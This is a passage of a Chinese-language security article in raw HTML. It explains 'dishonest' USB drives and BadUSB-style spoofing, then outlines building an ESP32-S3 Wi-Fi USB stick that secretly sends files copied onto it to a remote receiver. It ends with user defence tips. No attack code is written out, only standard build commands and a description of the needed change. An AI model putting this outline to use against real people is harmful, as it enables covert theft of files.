src="https://wechat2rss.xlab.app/img-proxy/?k=c9fc0ca8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR08CKGdrqQfvXDDjxm4386zD2icxVib0iaVdyk1iaX3VdFia9ZnoJGODx0qld2qEJXXl3Yy2czU0tmvmw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: center;margin-bottom: 24px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">图1.1</span></section><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">当U盘插入电脑后，固件区域的代码</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">便开始</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">运行，固件区域的代码主要为USB协议栈代码，这些代码用来响应主机端（HOST端）发起的各种请求，请求包括查看设备信息、设备容量、读写文件等。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">如下图1.2所示，U盘接入电脑后，电脑主机会向U盘发起一些请求，U盘的固件代码会对这些请求做出响应。</span></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46887312844759654" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=1582fc47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR08CKGdrqQfvXDDjxm4386ibVfqjicymlFKYBxkU2OBUZ4jgiaP6WpeC7B9glOIBhrwiaXawjSV0a7fA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: center;margin-bottom: 24px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">图</span><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">1.2</span></section><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><span style="background-color: rgb(255, 255, 255);">当主机端向设备端发起请求时，一个“诚实”的U盘（设备端固件）会如实</span>地<span style="background-color: rgb(255, 255, 255);">回答自己的设备信息及其状态，例如，设备名字、设备类型（存储设备，键盘鼠标设备）、设备容量等，而一个“不诚实”的U盘会伪造这些内容来欺骗主机端。</span><span style="background-color: rgb(255, 255, 255);">用于HID攻击，BADUSB攻击的U盘便属于”不诚实”的U盘，它们在响应主机的请求时，都欺骗了主机设备，把自己伪造成了键鼠设备，在获取主机的信任后，通过执行任意键鼠操作来完成一些恶意操作。</span></span></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">为了达到将U盘的内容发送到远程接收端的目的，需要修改U盘控制器的固件代码，在固件代码中添加文件传输的功能。除此之外，还需要一个支持无线通信功能的U盘控制器，该控制器同时支持WIFI功能和USB功能，通过控制器的WIFI功能，U盘能够连接周围的热点，并且将存储在FLASH中的文件内容发送到文件接收端。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">为了实现这个功能，笔者选取了同时支持WIFI和USB功能的芯片作为控制器芯片，芯片同时支持向芯片刷入自定义固件。基于该芯片的开发板更便于开发U盘相关的应用，例如开发制作USB HID设备、USB存储设备等。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6918833727344366" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=90e693d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR08CKGdrqQfvXDDjxm4386QDQBVDcuwUiaDDP4eNXVQybM5GHPLpVia6eGpdwYjrpzS6O2sJxupVZg%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;"></span></p><p style="text-align: center;"><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;text-align: left;font-size: 12px;">图</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;text-align: left;font-size: 12px;">1.3</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">该开发板中需要关注的有USB_DEV，USB-to-UART，Micro SD Card，ESP-S3-MINI-1。USB_DEV interface是一个TYPEA公口，可以连接其它USB主机，ESP-S3-MINI-1模组是通用型Wi-Fi MCU模组，具有丰富的外设接口，内部包含了ESP32S3芯片。Micro SD Card Slot可以插入TF卡，ESP32S3芯片通过4-线 SDIO和SPI接口读写TF卡里的内容。USB-to-UART接口是Micro-USB接口，可用作开发板的供电接口，可烧录固件至芯片，也可作为通信接口，通过板载USB转UART桥接器与芯片通信。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实现细节</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">本</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">章节介绍如何基于开发板制作一个具有WIFI联网功能的U盘，该U盘具有普通U盘的存储等功能，同时支持将U盘里文件发送给其它接收者。</span></p><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">1.下载安装基于ESP-IDF的交叉编译环境</span></strong></section><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">参考链接如下：</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><a href="https://docs.espressif.com/projects/esp-idf/zh_CN/latest/esp32/get-started/windows-setup.html#get-started-windows-first-steps" target="_blank">https://docs.espressif.com/projects/esp-idf/zh_CN/latest/esp32/get-started/windows-setup.html#get-started-windows-first-steps</a></span></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">安装成功之后，会在桌面生成ESP-IDF X.X CMD快捷方式，双击快捷方式如果显示如下命令行窗口，代表交叉编译环境安装成功了。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.53515625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=26965bc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR08CKGdrqQfvXDDjxm4386cjHxyOibWjTibspOqLNztNBSQlMng74LT0wRn0DaP0bjTzWAAbVyHnOg%2F640%3Fwx_fmt%3Dpng"/><strong style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: justify;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></strong></p><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">2.</span></strong><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">下载esp-iot-solution</span></strong></section><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">esp-iot-solution是专门针对物联网应用的示例程序。</span></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">git clone --recursive <a href="https://github.com/espressif/esp-iot-solution" target="_blank">https://github.com/espressif/esp-iot-solution</a></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">详细的环境配置步骤参考：</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><a href="https://github.com/espressif/esp-iot-solution" target="_blank">https://github.com/espressif/esp-iot-solution</a></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">esp-iot-solution中包含一个usb_msc_wireless_disk示例，该实例会生成一个具有WIFI的 U盘。</span></p><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">3.对无线U盘进行一些配置工作</span></strong></section><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: left;margin-bottom: 24px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">切换到C:\Espressif\frameworks\esp-idf-v4.4\esp-iot-solution\examples\usb\device\usb_msc_wireless_disk&gt;目录；</span></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">usb_msc_wireless_disk项目是一个无线U盘的示例程序，需要在编译之前进行一些基本的配置。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">idf.py set-target esp32s3 //设计芯片的类型是esp32s3；</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">idf.py menuconfig// 配置一些选项，例如，使用内部flash还是外部sdcard，wifi的类型，AP/STA。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4419889502762431" data-s="300,640" style="" data-type="png" data-w="724" src="https://wechat2rss.xlab.app/img-proxy/?k=03babc86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR08CKGdrqQfvXDDjxm4386pjwelGYiap45qbAZoW7HQWZQ07xzIBZibPLic4dPaOvlZeiarGJ3iauogug%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">选择使用External SDCcard存储，U盘的存储空间比更大（接近TF卡的容量），如果使用Internal Flash，存储空间只有1.4MB，空间比较小。另外，还需要配置U盘的联网方式，STA模式代表U盘会主动连接一个周围的热点，在此模式下，需要设置WIFI的名字和密码， U盘启动会自动连接该WIFI。AP模式代表U盘会生成一个WIFI热点，可以让电脑、手机等其它设备接入。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5164257555847569" data-s="300,640" style="" data-type="png" data-w="761" src="https://wechat2rss.xlab.app/img-proxy/?k=5ae6ebcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR08CKGdrqQfvXDDjxm4386FlibDnNpzt2fHhDtHIZUqREgZ4WnNiajeic3xFVZIKcoOkNqO23AXDRzA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">4.编程将U盘文件发送到服务端</span></strong></section><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">在完成上面配置之后，还需要修改源程序的代码。在U盘初始化完成之后，遍历U盘文件，将U盘里的文件发送给接收端。usb_msc_wireless_disk源程序代码通过运行一个file server来实现文件共享的功能，其它电脑可以经由这file server可以查看U盘的文件内容。可以通过修改源程序逻辑，使其主动向远端接收者发送文件。</span></section><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">5.编译程序并将固件刷入开发板</span></strong></section><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 24px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">完成源程序的编码后，接下来就是执行idf.py build 编译固件。</span></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5bc68abb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR08CKGdrqQfvXDDjxm4386Z8a8kWKmI5CcL9tduuRzKeiaF3JNnkEkTqRuibjxjvE0hoQBegDCTVmA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Idf.py –p COMx flash便可以把编译好的固件刷到开发板，开发板再插入电脑之后就会被识别成一个USB存储设备，当把文件拷贝到这个U盘，该文件就会被发送出去，造成文件内容泄露。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">想要制作一个具有联网功能并且外观像普通U盘的USB设备，只需通过PCB画板进行硬件设计，把芯片设计到U盘里，一个“不诚实”的U盘便诞生了。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">防护手法</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">对于普通用户来说，想要防范此类攻击需要提高个人安全意识。不要随便使用不明来源的U盘，也不要轻易接受并使用他人赠送的U盘。尽量从正规渠道购买，切忌从不可信的第三方渠道/二手市场购买U盘。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span msthash="251135" msttexthash="1726982283" style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">除此之外，我们在插入使用新U盘时，可以留意下周围是否有新增可疑WIFI热点，如果没有新增可疑WIFI热点，那么基本上可以确定我们并没有受到此类型攻击。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI 